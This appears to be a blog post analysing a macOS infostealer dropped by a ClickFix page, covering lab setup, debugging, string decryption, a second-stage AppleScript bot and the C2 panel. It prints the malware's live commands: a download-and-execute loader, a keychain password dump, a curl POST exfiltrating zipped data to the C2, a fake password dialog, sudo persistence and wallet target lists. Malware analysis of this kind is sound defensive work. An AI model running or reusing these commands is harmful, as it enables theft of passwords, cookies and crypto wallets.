0xlibris https://0xlibris.net/ cybersecurity, CTF, reversing, malware quarto-1.9.38 Mon, 22 Jun 2026 00:00:00 GMT Odyssey infostealer infection chain https://0xlibris.net/posts/odyssey_infostealer/

Introduction

Over the past few days I have been reading The Art of Mac Malware: The Guide to Analyzing Malicious Software by Patrick Wardle. It’s an amazing book, and I really enjoyed it. To truly test the new knowledge, I needed real-world samples to analyze, so I asked my Mac’s homies for a fresh one. Unsurprisingly, the “sample” was a ClickFix attack from 4 days before.

The page autocopies a b64 string that decodes into:

echo "Loading please wait"
curl -s hXXps://nqowf[.]com/d/unix4011574 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null

Luckily for me the campaign and domain were still up and running and I could download the sample.

curl -s hXXps://nqowf[.]com/d/unix4011574 > unix001

The hash of the file is bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16 and at the time of analysis, it was detected by only 2 vendors.

Building the lab

This was my first time analyzing a macOS sample, and I had no idea how to set up a malware analysis lab. There are very limited resources on how to create a macOS sandbox, probably because VM creation technically violates Apple’s EULA, and most tutorials assume you already know the basics.

After several days of trial and error, I finally got a Tahoe VM running on QEMU hosted on my Linux machine. Awaiting that cease-and-desist from Apple! :fingers-crossed:

I used cidre-vm to install some tools.

First stage payload

Initial static analysis

I learned in “The Art of Mac Malware” that Mach-O binaries only contain code and data for a single architecture. The sample is a universal binary capable of running on both Intel 64-bit and Apple Silicon arm64.

user@users-iMac-Pro malware % file unix001
unix001: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
unix001 (for architecture x86_64):  Mach-O 64-bit executable x86_64
unix001 (for architecture arm64):   Mach-O 64-bit executable arm64

Individual binaries can be extracted with the lipo tool (xd)

user@users-iMac-Pro malware % lipo unix001 -thin x86_64 -output unix001_intel

user@users-iMac-Pro malware % file unix001_intel 
unix001_intel: Mach-O 64-bit executable x86_64

The file is not signed.

user@users-iMac-Pro malware % codesign -dvvv unix001_intel 
Executable=/Users/user/Downloads/malware/unix001_intel
Identifier=commandbuild-55554944c282f45ee8693d5abea39c6843c98d35
Format=Mach-O thin (x86_64)
...
Signature=adhoc
TeamIdentifier=not set

Just like the ClickFix command, you need to grant execution permissions.

user@users-iMac-Pro malware % chmod +x unix001_intel

The strings of the sample don’t reveal much, perhaps some functions worth monitoring

user@users-iMac-Pro malware % strings - unix001_intel 
USER
basic_string
vector
_fgets
_fopen
_fread
_fseek
_fwrite
_getenv
_pclose
_popen
_sleep
_system
...

I like to always use Detect It Easy to understand a bit more about the binary:

There is an interesting section worth examining.

This blog post is about trying new things, so now I will be testing IDA.

The main function is a beast with what seems to be bloated code, but looking more carefully some patterns appear.

This pattern is present everywhere, and makes the reading and understanding much more difficult. I’ll return to that later, but initially I focused on dynamic analysis to get some results.

Dynamic Analysis

It’s quite annoying that the code that decrypts and deobfuscates is not located in a single function. Instead, it’s placed everywhere making everything a mess.

But there are some juicy imports that deserve a breakpoint. The _popen is located at 0x100019AC8 and _system at 0x100019AE0.

In macOS, there is the lldb debugger that is more or less the same as gdb. With the following commands, I can set up the breakpoints and configure them to automatically print register contents, hopefully already decrypted by the malware.

(lldb) b 0x100019ae0
Breakpoint 1: where = unix001_intel`symbol stub for: system, address = 0x100019ae0
(lldb) b 0x100019ac8
Breakpoint 2: where = unix001_intel`symbol stub for: popen, address = 0x100019ac8
(lldb) breakpoint command add 1
Enter your debugger command(s). Type 'DONE' to end.
> x/s $rdi
> DONE
(lldb) breakpoint command add 2
Enter your debugger command(s). Type 'DONE' to end.
> x/s $rdi
> x/s $rsi
> DONE

This successfully printed the decrypted strings before executing popen and system.

popen('sw_vers -productVersion | cut -d. -f1', 'r')
popen('sw_vers -productVersion | cut -d. -f2', 'r')
popen('security find-generic-password -ga "Chrome" 2>&1 >/dev/null | sed -n "s/^password: \"\(.*\)\"/\1/p"', 'r')
popen('system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType', 'r')
system('ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip')
system('curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f974b99" -H "username: prior" --data-binary @/tmp/lksopo.zip https://nqowf.com/log')

This reveals the malware’s intentions:

  1. Version check
  2. Extract Chrome’s password vault
  3. System profiling to identify the host
  4. Gather data and save it in /tmp/lksopo
  5. Compress folder as /tmp/lksopo.zip
  6. Exfiltrate to https://nqowf[.]com/log

With just these two breakpoints, we’re missing a lot, but the intent is clear.

Network configuration

I configured a basic fake network with inetsim and dnsmasq, but TLS handshakes failed because the certificate wasn’t trusted and didn’t match the domains.

To circumvent these issues, I redirected traffic on ports 80 and 443 to port 8080 with iptables, and ran mitmproxy in reverse mode.

    ┌─────────────────┐
    │       VM        │
    |  HTTPS Request  |
    └────────┬────────┘
             │
             │  :443
             ▼
    ┌─────────────────┐
    │    iptables     │
    │    REDIRECT     │
    │   :443 → :8080  │
    └────────┬────────┘
             │
             │  :8080
             ▼
    ┌─────────────────┐
    │ mitmproxy :8080 │
    │ Decrypt HTTPS   │
    │ (cert trusted)  │
    └────────┬────────┘
             │
             │  :80
             ▼
    ┌─────────────────┐
    │   inetsim :80   │
    │  (fake server)  │
    └─────────────────┘

After adding the mitmproxy certificate to the keychain, all the requests succeed with inetsim’s default HTML page.

Additionally, we can view the requests in mitmproxy.

Letting the malware run

After solving the network issue, we can now continue capturing the decrypted popen and system commands:

system("rm -rf /tmp/lksopo")
system("rm -rf /tmp/lksopo.zip")
popen("curl -s http://192.253.248.181/api/v1/getscptraw", "r")
system("nohup <html>\n  <head>\n    <title>INetSim default HTML page</title>\n  </head>\n  <body>\n    <p></p>\n    <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>\n    <p align="center">This file is an HTML document.</p>\n  </body>\n</html>\n >/dev/null 2>&1 &")

Ups, not the expected response!

The nohup command ensures commands continue running after the user disconnects from the system. The expected command should look like this:

nohup {response from http://192.253.248.181/api/v1/getscptraw} >/dev/null 2>&1 &

The domain was still alive, so I have downloaded the second stage. It’s an osascript that executes an AppleScript.

At this point, there are several areas to explore:

  1. Analyze the second stage payload
  2. Complete the initial malware’s execution after downloading the next stage
  3. Extract all the encrypted strings from the initial sample, not just the popen and system arguments

Simulating C2 Communication

I created a mitmproxy Python script to return a simple print command and continue execution.

from mitmproxy import http

def request(flow):
    if "/api/v1/getscptraw" in flow.request.pretty_url:
        flow.response = http.Response.make(
            200,
            b'print "continue"',
            {"Content-Type": "text/plain"}
        )

ok so that was it.

Before moving on to the next stage, let’s finish analyzing the encrypted strings.

Decryption and Obfuscation Analysis

From our initial dynamic analysis, we’ve concluded that the sample is some sort of an infostealer. We know it collects data, packs it into a zip file and exfiltrates it to a specific URL. Then, it deletes its tracks and requests the second stage payload to another domain and executes it.

This is useful, but we’re not sure if it is doing something more under the hood. The binary was large enough to suggest additional functionality.

Recalling the obfuscation pattern:

This line is quite relevant, and a quick search identifies it as a xorshift32 PRNG.

v0 = v0 ^ (v0 << 13) ^ ((v0 ^ (v0 << 13)) >> 17) ^ (32 * (v0 ^ (v0 << 13) ^ ((v0 ^ (v0 << 13)) >> 17))) | 1;

A more common representation is written across multiple lines:

// 1. Standard xorshift32 steps
v0 ^= v0 << 13;
v0 ^= v0 >> 17;
v0 ^= v0 << 5; // Equivalent to multiplying by 32

// 2. Force the last bit to be 1
v0 |= 1;

The Wikipedia xorshift example is exactly that.

To summarize, the deobfuscation/decryption routine consists of:

  1. Initializing a 4 bytes seed
  2. Iterate N bytes of some region of memory
    1. XOR the encrypted byte with the lowest byte of the seed
    2. update the state of the seed with xorshift32
  3. return/save decrypted data

The encrypted bytes are located in the high entropy section that we have seen before. This section (4.__TEXT.__const) starts at 0x10001b290 and its size is 0x321c.

There are multiple ways to decrypt this data. We could place breakpoints everywhere and capture decrypted values, but since there’s no single decrypt function, it would be tedious. I think I’ll pass, I’ve already done enough dynamic analysis.

There is no “Best Tool”, so I like using multiple tools simultaneously. I was using IDA, but radare2 is always handy and has saved me more than once.

Looking at this pretty hexdump in radare2, I noticed something odd: all encrypted strings end with 0x00? 0x0000?

Doing an xref from the first encrypted data, I finally understood what was happening. The seed (0x7CCF26EB) is at the begining of the encrypted data (little endian eb26 cf7c)! The next N bytes are the encrypted data, and I’m still unsure about the final byte before the null terminator.

Something like this:

state = 0x7CCF26EB
for i in range(10):
    # XOR with lowest byte of state
    data.append(encrypted_data[i + 4] ^ (state & 0xFF))
    # Update state of the PRNG
    state = xorshift32_next(state)

This means that with only the encrypted data section should be possible to decrypt all strings. I successfully manually decrypted a couple of examples, but struggled to determine how the strings were separated. With a single null byte? With two? three? The results were inconsistent across the region, and still not sure about the last unused byte.

To make some progress, I tried a different approach and vibe-wrote my first IDA script.

TipGist

IDAPython script for decrypting xorshift32-obfuscated strings in macOS malware

I’m not very proud of this code, but at least it works 🙃. In summary, the approach is as follows:

  1. find xrefs to the encrypted data section
  2. extract the seed and the size of the data to decrypt
  3. decrypt data using xorshift32 PRNG and seed

Running this script returns 379 nicely decrypted strings

TipDecrypted xorshift32 strings 
"dscl . authonly '"
"s"
"masterpass-chrome"
"osascript -e 'set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer
text returned of passwen'"
"Partitions"
"Code Cache"
"Cache"
"market-history-cache.json"
"journals"
"Previews"
"GPUCache"
"DawnCache"
"Crashpad"
"DawnWebGPUCache"
"DawnGraphiteCache"
"__update__"
"media"
"calls"
"/cookies.sqlite"
"/formhistory.sqlite"
"/key4.db"
"/logins.json"
"gecko/"
"/IndexedDB/"
"/IndexedDB/"
"ldinpeekobnhjjdofggfgjlcehhmanlj"
"nphplpgoakhhjchkkhmiggakijnkhfnd"
"jbkgjmpfammbgejcpedggoefddacbdia"
"fccgmnglbhajioalokbcidhcaikhlcpm"
"nebnhfamliijlghikdgcigoebonmoibm"
"fdcnegogpncmfejlfnffnofpngdiejii"
"mfhbebgoclkghebffdldpobeajmbecfk"
"ffbceckpkpbcmgiaehlloocglmijnpmp"
"kfdniefadaanbjodldohaedphafoffoh"
"bedogdpgdnifilpgeianmmdabklhfkcn"
"kpfchfdkjhcoekhdldggegebfakaaiog"
"klnaejjgbibmhlephnhpmaofohgkpgkd"
"opcgpfmipidbgpenhmajoajpbobppdil"
"mmmjbcfofconkannjonfmjjajpllddbg"
"modjfdjcodmehnpccdjngmdfajggaoeh"
"dkdedlpgdmmkkfjabffeganieamfklkm"
"ifclboecfhkjbpmhgehodcjpciihhmif"
"ppbibelpcjmhbdihakflkdcoccbgbkpo"
"ejjladinnckdgjemekebdpeokbikhfci"
"kkpllkodjeloidieedojogacfhpaihoh"
"apnehcjmnengpnmccpaibjmhhoadaico"
"jiepnaheligkibgcjgjepjfppgbcghmp"
"jojhfeoedkpkglbfimdfabpdfjaoolaf"
"idpdilbfamoopcfofbipefhmmnflljfi"
"lbjapbcmmceacocpimbpbidpgmlmoaao"
"oiohdnannmknmdlddkdejbmplhbdcbee"
"fldfpgipfncgndfolcbkdeeknbbbnhcc"
"fpkhgmpbidmiogeglndfbkegfdlnajnf"
"lgmpcpglpngdoalbgeoldeajfclnhafa"
"ilhaljfiglknggcoegeknjghdgampffk"
"pfccjkejcgoppjnllalolplgogenfojk"
"cnmamaachppnkjgnildpdmkaakejnhae"
"eajafomhmkipbjmfmhebemolkcicgfmd"
"emeeapjkbcbpbpgaagfchmcgglmebnen"
"ibnejdfjmmkpcnlpebklmnkoeoihofec"
"hifafgmccdpekplomjjkcfgodnhcellj"
"ffnbelfdoeiohenkjibnmadjiehjhajb"
"fnjhmkhhmkbjkkabndcnnogagogbneec"
"bcopgchhojmggmffilplmbdicgaihlkp"
"cmoakldedjfnjofgbbfenefcagmedlga"
"ifckdpamphokdglkkdomedpdegcjhjdp"
"ibljocddagjghmlpgihahamcghfggcjc"
"cjmkndjhnagcfbpiemnkdpomccnjblmj"
"kbdcddcmgoplfockflacnnefaehaiocb"
"cgeeodpfagjceefieflmdfphplkenlfk"
"afbcbjpbpfadlkmhmclhkeeodmamcflc"
"fdchdcpieegfofnofhgdombfckhbcokj"
"gjlmehlldlphhljhpnlddaodbjjcchai"
"ellkdbaphhldpeajbepobaecooaoafpg"
"ojbcfhjmpigfobfclfflafhblgemeidi"
"ghlmndacnhlaekppcllcpcjjjomjkjpg"
"kgdijkcfiglijhaglibaidbipiejjfdp"
"abkahkcbhngaebpcgfmhkoioedceoigp"
"ammjlinfekkoockogfhdkgcohjlbhmff"
"pdliaogehgdbhbnmkklieghmmjkpigpa"
"jnlgamecbpmbajjfhmmmlhejkemejdma"
"nbdhibgjnjpnkajaghbffjbkcgljfgdi"
"jfdlamikmbghhapbgfoogdffldioobgl"
"fijngjgcjhjmmpcmkeiomlglpeiijkld"
"hgbeiipamcgbdjhfflifkgehomnmglgk"
"pmmnimefaichbcnbndcfpaagbepnjaig"
"cflgahhmjlmnjbikhakapcfkpbcmllam"
"keenhcnmdmjjhincpilijphpiohdppno"
"bipdhagncpgaccgdbddmbpcabgjikfkn"
"bcenedbpaaegpnijoadpdjiachahncdg"
"pocmplpaccanhmnllbbkpgfliimjljgo"
"klghhnkeealcohjjanjjdaeeggmfmlpl"
"cjookpbkjnpkmknedggeecikaponcalb"
"ojggmchlghnjlapmfbnjholfjkiidbch"
"dngmlblcodfobpdpecaadgfbcggfjfnm"
"jnldfbidonfeldmalbflbmlebbipcnle"
"ehjiblpccbknkgimiflboggcffmpphhp"
"agoakfejjabomempkjlepdflaleeobhb"
"fopmedgnkfpebgllppeddmmochcookhc"
"dmkamcknogkgcdfhhbddcghachkejeap"
"iglbgmakmggfkoidiagnhknlndljlolb"
"opfgelmcmbiajamepnmloijbpoleiama"
"gkeelndblnomfmjnophbhfhcjbcnemka"
"dgiehkgfknklegdhekgeabnhgfjhbajd"
"gafhhkghbfjjkeiendhlofajokpaflmk"
"imlcamfeniaidioeflifonfjeeppblda"
"penjlddjkjgpnkllboccdgccekpkcbin"
"nhnkbkgjikgcigadomkphalanndcapjk"
"egjidjbpglichdcondbcbdnbeeppgdph"
"dlcobpjiigpikoobohmabehhmhfoodbb"
"dldjpboieedgcmpkchcjcbijingjcgok"
"acmacodkjbdgmoleebolmdjonilkdbch"
"lccbohhgfkdikahanoclbdmaolidjdfl"
"pcndjhkinnkaohffealmlmhaepkpmgkb"
"gjagmgiddbbciopjhllkdnddhcglnemk"
"cnncmdhjacpkmjmkcafchppbnpnhdmon"
"mfgccjchihfkkindfppnaooecgfneiii"
"ieldiilncjhfkalnemgjbffmpomcaigi"
"ckklhkaabbmdjkahiaaplikpdddkenic"
"loinekcabhlmhjjbocijdoimmejangoa"
"mgffkfbidihjpoaomajlbgchddlicgpn"
"pnndplcbkakcplkjnolgbkdgjikjednm"
"mcohilncbfahbmgdjkbpemcciiolgcge"
"bgpipimickeadkjlklgciifhnalhdjhe"
"pdadjkfkgcafgbceimcpbkalnfnepbnk"
"jiidiaalihmmhddjgbnbgdfflelocpak"
"aeachknmefphepccionboohckonoeemg"
"gdokollfhmnbfckbobkdbakhilldkhcj"
"jiiigigdinhhgjflhljdkcelcjfmplnd"
"kmphdnilpmdejikjdnlbcnmnabepfgkh"
"jaooiolkmfcmloonphpiiogkfckgciom"
"fcckkdbjnoikooededlapcalpionmalo"
"mdnaglckomeedfbogeajfajofmfgpoae"
"ebfidpplhabeedpnhjnobghokpiioolj"
"dbgnhckhnppddckangcjbkjnlddbjkna"
"cpmkedoipcpimgecpmgpldfpohjplkpp"
"epapihdplajcdnnkdeiahlgigofloibg"
"iokeahhehimjnekafflcihljlcjccdbe"
"cihmoadaighcejopammfbmddcmdekcje"
"hnfanknocfeofbddgcijnmhnfnkdnaad"
"kilnpioakcdndlodeeceffgjdpojajlo"
"abogmiocnneedmmepnohnhlijcjpcifd"
"bofddndhbegljegmpmnlbhcejofmjgbn"
"aholpfdialjgjfhomihkjbmgjidlcdno"
"hdkobeeifhdplocklknbnejdelgagbao"
"oafedfoadhdjjcipmcbecikgokpaphjk"
"bfnaelmomeimhlpmgjnjophhpkkoljpa"
"nkbihfbeogaeaoehlefnkodbefgpgknn"
"lfmmjkfllhmfmkcobchabopkcefjkoip"
"aiifbnbfobpmeekipheeijimdpnlpgpp"
"anokgmphncpekkhclmingpimjmcooifb"
"mnfifefkajgofkcjkemidiaecocnkjeh"
"momakdpclmaphlamgjcndbgfckjfpemp"
"akkmagafhjjjjclaejjomkeccmjhdkpa"
"ehgjhhccekdedpbkifaojjaefeohnoea"
"mkpegjkblkkefacfnmkajcjmabijhclg"
"mlhakagmgkmonhdonhkpjeebfphligng"
"niiaamnmgebpeejeemoifgdndgeaekhe"
"jnmbobjmhlngoefaiojfljckilhhlhcj"
"onhogfjeacnfoofkfgppdlbmlmnplgbn"
"kppfdiipphfccemcignhifpjkapfbihd"
"hcjhpkgbmechpabifbggldplacolbkoh"
"flpiciilemghbmfalicajoolhkkenfel"
"mlbnicldlpdimbjdcncnklfempedeipj"
"cfbfdhimifdmdehjmkdobpcjfefblkjm"
"ocjobpilfplciaddcbafabcegbilnbnb"
"pgiaagfkgcbnmiiolekcfmljdagdhlcm"
"enabgbdfcbaehmbigakijjabdpdnimlg"
"bifidjkcdpgfnlbcjpdkdcnbiooooblg"
"lnnnmfcpbkafcpgdilckhmhbkkbpkmid"
"nlgbhdfgdhgbiamfdfmbikcdghidoadd"
"fcfcfllfndlomdhbehjjcoimbgofdncg"
"lpilbniiabackdjcionkobglmddfbcjo"
"efbglgofoippbgcjepnhiblaibcnclgk"
"fhbohimaelbohpjbbldcngcnapndodjp"
"gkodhkbmiflnmkipcmlhhgadebbeijhh"
"bocpokimicclpaiekenaeelehdjllofo"
"bhhhlbepdkbapadjdnnojkbgioiodbic"
"aflkmfhebedbjioipglgcbcmnbpgliof"
"mkchoaaiifodcflmbaphdgeidocajadp"
"mapbhaebnddapnmifbbkgeedkeplgjmf"
"lmkncnlpeipongihbffpljgehamdebgi"
"gjnckgkfmgmibbkoficdidcljeaaaheg"
"ppdadbejkmjnefldpcdjhnkpbjkikoip"
"bopcbmipnjdcdfflfgjdgdjejmgpoaab"
"kamfleanhcmjelnhaeljonilnmjpkcjc"
"cphhlgmgameodnhkjdmkpanlelnlohao"
"hnhobjmcibchnmglfbldbfabcgaknlkj"
"nknhiehlklippafakaeklbeglecifhad"
"kjjebdkfeagdoogagbhepmbimaphnfln"
"phkbamefinggmakgklpkljjmgibohnba"
"lakggbcodlaclcbbbepmkpdhbcomcgkd"
"ookjlbkiijinhpmnjffcofjonbfbgaoc"
"mdjmfdffdcmnoblignmgpommbefadffd"
"jblndlipeogpafnldhgmapagcccfchpi"
"hbbgbephgojikajhfbomhlmmollphcad"
"dpcklmdombjcplafheapiblogdlgjjlb"
"hmeobnfnfcmdkdcmlblgagmfpfboieaf"
"kmhcihpebfmpgmihbkipmjlmmioameka"
"kennjipeijpeengjlogfdjkiiadhbmjl"
"amkmjjmmflddogmhpjloimipbofnfjih"
"idnnbdplmphpflfnlkomgpfbpcgelopg"
"fmblappgoiilbgafhjklehhfifbdocee"
"heamnjbnflcikcggoiplibfommfbkjpj"
"khpkpbbcccdmmclmpigdgddabeilkdpd"
"omaabbefbmiijedngplfjmnooppbclkk"
"nhlnehondigmgckngjomcpcefcdplmgc"
"fiikommddbeccaoicoejoniammnalkfa"
"ejbidfepgijlcgahbmbckmnaljagjoll"
"glmhbknppefdmpemdmjnjlinpbclokhn"
"kncchdigobghenbbaddojjnnaogfppfj"
"hpclkefagolihohboafpheddmmgdffjm"
"ilolmnhjbbggkmopnemiphomhaojndmb"
"panpgppehdchfphcigocleabcmcgfoca"
"nngceckbapebfimnlniiiahkandclblb"
"hdokiejnpimakedhajhdlcegeplioahd"
"eiaeiblijfjekdanodkjadfinkhbfgcd"
"bfogiafebfohielmmehodmfbbebbbpei"
"pnlccmojcmeohlpggmfnbbiapkmbliob"
"aeblfdkhhhdcdjpifhhbdiojplfjncoa"
"kmcfomidfpdkfieipokbalgegidffkal"
"fdjamakpfbbddfjaooikfcpapjohcfmg"
"ghmbeldphafepmbegfdlkpapadhbakde"
"cnlhokffphohmfcddnibpohmkdfafdli"
"khhapgacijodhjokkcjmleaempmchlem"
"admmjipmmciaobhojoghlmleefbicajg"
"caljgklbbfbcjjanaijlacgncafpegll"
"bdgmdoedahdcjmpmifafdhnffjinddgc"
"bhghoamapcdpbohphigoooaddinpkbai"
"iklgijhacenjgjgdnpnohbafpbmnccek"
"bbphmbmmpomfelajledgdkgclfekilei"
"npjilhodcgmigpladpfkkclbmkebalfd"
"gmegpkknicehidppoebnmbhndjigpica"
"ibpjepoimpcdofeoalokgpjafnjonkpc"
"gmohoglkppnemohbcgjakmgengkeaphi"
"pdiccmolmknojplidnlkaenkejbminpp"
"dbfoemgnkgieejfkaddieamagdfepnff"
"mmhlniccooihdimnnjhamobppdhaolme"
"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc"
"deelhmmhejpicaaelihagchjjafjapjc"
"hldllnfgjbablcfcdcjldbbfopmohnda"
"igkpcodhieompeloncfnbekccinhapdb"
"ajgehecfkfhindkhdcjmifbngkfdflla"
"kghbmcgihmefcbjlfiafjcigdcbmecbf"
"gejiddohjgogedgjnonbofjigllpkmbf"
"didegimhafipceonhjepacocaffmoppf"
"bnfdmghkeppfadphbnkjcicejfepnbfe"
"gcmahhkjkpigcpfpmdjnbiakmbdegfeh"
"/Network/Cookies"
"/Cookies"
"/Web Data"
"/Login Data"
"/Local Extension Settings/"
"/IndexedDB/"
"chromium/"
"Default"
"Profile"
"/Network/Cookies"
"/Cookies"
"/Local Extension Settings/"
"/IndexedDB/"
"Telegram Desktop/tdata/"
"key_datas"
"/maps"
"curl -s "
"/api/v1/getscptraw"
"nohup "
" >/dev/null 2>&1 &"
"curl -s "
"/api/v1/getscpt/"
"/tmp/starter"
"echo '"
"' | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist"
"echo '"
"' | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist"
"/Applications/"
".app"
"/tmp/"
"/web/"
"curl "
" -o "
"pkill '"
"rm -rf '"
"echo '"
"' | sudo -S rm -rf '"
"ditto -x -k '"
"' /Applications"
"root"
"/tmp/lksopo/"
"/Users/"
"Library/"
"Application Support/"
"Keychains/login.keychain-db"
"Google/Chrome/"
"sw_vers -productVersion | cut -d. -f1"
"sw_vers -productVersion | cut -d. -f2"
".pwd"
"user"
"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
"hardware"
"Chrome"
"Google/Chrome/"
"Brave"
"BraveSoftware/Brave-Browser/"
"Edge"
"Microsoft Edge/"
"Vivaldi"
"Vivaldi/"
"Opera"
"com.operasoftware.Opera/"
"OperaGX"
"com.operasoftware.OperaGX/"
"Chrome Beta"
"Google/Chrome Beta/"
"Chrome Canary"
"Google/Chrome Canary/"
"Chromium"
"Chromium/"
"Chrome Dev"
"Google/Chrome Dev/"
"Arc/User Data/"
"CocCoc"
"CocCoc/Browser/"
"Electrum"
".electrum/wallets/"
"Coinomi"
"Coinomi/wallets/"
"Exodus"
"Exodus/"
"Atomic"
"atomic/Local Storage/leveldb/"
"Wasabi"
".walletwasabi/client/Wallets/"
"Ledger_Live"
"Ledger Live/"
"Monero"
"Monero/wallets/"
"Bitcoin_Core"
"Bitcoin/wallets/"
"Litecoin_Core"
"Litecoin/wallets/"
"Dash_Core"
"DashCore/wallets/"
"Electrum_LTC"
".electrum-ltc/wallets/"
"Electron_Cash"
".electron-cash/wallets/"
"Guarda"
"Guarda/"
"Dogecoin_Core"
"Dogecoin/wallets/"
"Trezor_Suite"
"@trezor/suite-desktop/"
"Sparrow"
".sparrow/wallets/"
"Firefox"
"Firefox/Profiles/"
"Waterfox"
"Waterfox/Profiles/"
"deskwallets/"
"ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip"
"curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f97"
"rm -rf /tmp/lksopo"
"rm -f /tmp/lksopo.zip"
"http://192.253.248.181"
"false"
".botid"
".pwd"
"https://nqowf.com"
".phost"
".bhost"
"prior"
".username"
"Ledger Live"
"ledger.zip"
"Ledger Wallet"
"ledgerwallet.zip"
"Trezor Suite"
"trezor.zip"

With 379 decrypted strings, we now have a much clearer picture of the malware’s reach. The strings reveal targets across multiple categories: cryptocurrency wallets (Ledger, Trezor, Guarda, Exodus, Electrum variants, Bitcoin, Litecoin, Dogecoin, and others), major web browsers (Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Arc…), browser extensions, browser data (history, cookies), Telegram credentials, and C2 domains and other indicators. Finally, it downloads and executes a second payload.

At this point, we’ve more or less dissected the first stage. Now it’s time to examine what it downloads and executes: the second-stage AppleScript payload.

Second stage payload

The payload is an AppleScript of about 180 lines. It starts with defining the variable app_id to "xxxblyat". Then there are multiple functions and starts by running init(app_id).

$ sha256sum getscptraw 
227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054  getscptraw
$ file getscptraw 
getscptraw: ASCII text
$ wc getscptraw 
179  637 4354 getscptraw

Structure and Initial Setup

The script starts by defining several helper functions for file operations and system interaction: trim() for whitespace removal, readFile() and writeFile() for persistence, and checkActiveAppID() to verify running processes.

The critical part is the init() function, which reads configuration from hidden files stored in the user’s home directory:

~/.bhost       - Bot C2 server address
~/.phost       - Panel address
~/.username    - Panel username
~/.botid       - Unique bot identifier
~/.lastaction  - Track executed actions
~/.uninstalled - Marker file for cleanup

If any configuration is missing, the malware silently exits. This suggests it expects the first stage to have already dropped these files. We have already seen the strings ".botid", ".phost" and ".bhost" in the previous stage.

C2 Communication

The malware implements a pull-based C2 model with two main functions:

joinsystem() - Registers the bot with the C2 server and retrieves a unique botID:

GET /api/v1/bot/joinsystem/{panelUsername}/{macOSVers}

getActions() - Polls the C2 for pending commands:

GET /api/v1/bot/actions/{botID}

Both functions implement retry logic with exponential backoff (60-second delays), with a 10-attempt limit before giving up. The User-Agent is User-Agent: bot.

Command Execution

The main loop continuously polls for actions and executes them based on the actionName:

  • uninstall - Writes a marker file and exits, effectively disabling the malware

  • doshell - Executes arbitrary shell commands directly

  • repeat - Downloads and executes a script from the C2:

    GET /api/v1/bot/repeat/{panelUsername} | bash

  • enablesocks5 - Downloads a SOCKS5 proxy binary and runs it in the background

    33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739 socks

Each action is tracked via actionID to prevent duplicate execution.

Bonus track: C2 Panel Analysis

The domain nqowf[.]com was registered behind Cloudflare on 2026-06-04 (visible in crt.sh). The main page displays a login panel, and interestingly, the same affiliate portal was mentioned by researcher @Gi7w0rm months earlier.

They identified it as the Odyssey infostealer panel.

Frontend Analysis

A fun thing about the frontend is that it’s public by definition, so I downloaded the js to learn more about the operation. The panel is built with React and reveals a lot through its API endpoints and configuration.

API Endpoints and Routes

The authentication layer reveals endpoints for managing bots, actions, and data exfiltration:

/api/v1/sign-in
/api/v1/auth/user
/api/v1/auth/seeds
/api/v1/auth/statistics
/api/v1/auth/builder
/api/v1/auth/bots
/api/v1/auth/bot-actions
/api/v1/auth/bot/${e}
/api/v1/auth/repeat-all
/api/v1/auth/socks
/api/v1/auth/socks/${e}
/api/v1/auth/revshells
/api/v1/auth/revshells/${e}
/api/v1/auth/settings
/api/v1/auth/create-guest-link
/api/v1/auth/logs
/api/v1/auth/log/${e}
/api/v1/auth/download-without-wallets
/api/v1/auth/download-all
/api/v1/auth/download-wallets
/api/v1/auth/download-log/${e}
/api/v1/auth/download-selected?id=${e}
/api/v1/auth/restore-cookies

Admin functionality includes user and blacklist management:

/api/v1/admin/users
/api/v1/admin/user
/api/v1/admin/user/${encodeURIComponent(e)}
/api/v1/admin/safe-exit
/api/v1/admin/blacklist
/api/v1/admin/blacklist/${e}

And guest/statistics links for sharing stolen data:

/api/v1/guestmode/${e}
/api/v1/stat/${e}

Frontend Routes

/login
/builder
/link-creator
/logs
/cookies
/bots
/socks
/revshells
/seeds
/settings
/admin
/admin/blacklist

The Knock Message Template

The default notification template that operators receive when a bot checks in. This template summarizes everything the malware harvests in a single notification.

(0, O9.useEffect)(() => {
    v && h({
        ...v,
        knock_msg: v.knock_msg || `MACOS STEALER

ID: {{ID}}
BuildID: {{BUILDID}}
IsDup: {{ISDUP}}

IP: {{IP}}
Country: {{COUNTRY}}
Country Code: {{CC}}
CryptoChecker Balance: {{CRYPTOBALANCE}}

Cookies: {{COOKIES}}
Passwords: {{PASSWORDS}}
Wallets: {{WALLETCOUNT}} {{WALLETARRAY}}
Domains Count: {{DOMAINS}}
Valueable Domains: {{VALUABLEDOMAINS}}
Password Managers: {{PWDMANAGERS}}
Have Telegram: {{TELEGRAM}}
Notes Count: {{NOTESCOUNT}}
DateTime: {{DATETIME}}`
        })

Remember to always keep good security: “The password must be at least 4 characters.”

rE(), BNe = oT({
    password: nT().min(4, {
        message: `Пароль должен быть не менее 4 символов.`
    })
}), VNe = oT({
    bot_token: nT().optional(),
    id_logs: nT().optional(),
    id_notifs: nT().optional(),
    chat_id_crypto: nT().optional(),
    chat_id_ledger: nT().optional(),
    antidup: rT(),
    cryptochecker_on: rT().optional(),
    knock_msg: nT().optional(),
    ftp_host: nT().optional(),
    ftp_user: nT().optional(),
    ftp_pass: nT().optional(),
    ftp_dir: nT().optional()
})

Translations

But the most interesting part are the translations:

NoteTranslations 
var BFe = {
        nav: {
            dashboard: `Dashboard`,
            builder: `Builder`,
            logs: `Logs`,
            bots: `Bots`,
            linkCreator: `Link Creator`,
            cookies: `Google Cookies Restore`,
            settings: `Settings`,
